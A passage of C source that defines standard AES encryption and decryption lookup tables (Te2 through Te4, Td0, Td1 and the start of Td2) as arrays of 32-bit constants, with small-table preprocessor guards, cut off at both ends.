0x80098989U, 0x171a0d0dU, 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, }; const u32 Te2[256] = { 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU, 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, 0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, }; const u32 Te3[256] = { 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, 0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U, 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, 0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU, 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, 0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU, 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, 0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U, 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, }; const u32 Te4[256] = { 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, 0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, 0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, }; #endif /* AES_SMALL_TABLES */ const u32 Td0[256] = { 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, }; #ifndef AES_SMALL_TABLES const u32 Td1[256] = { 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U, 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, 0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U, 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, }; const u32 Td2[256] = { 0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U, 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U, 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, 0x0d0b0e09U, 0xc7adf28bU, 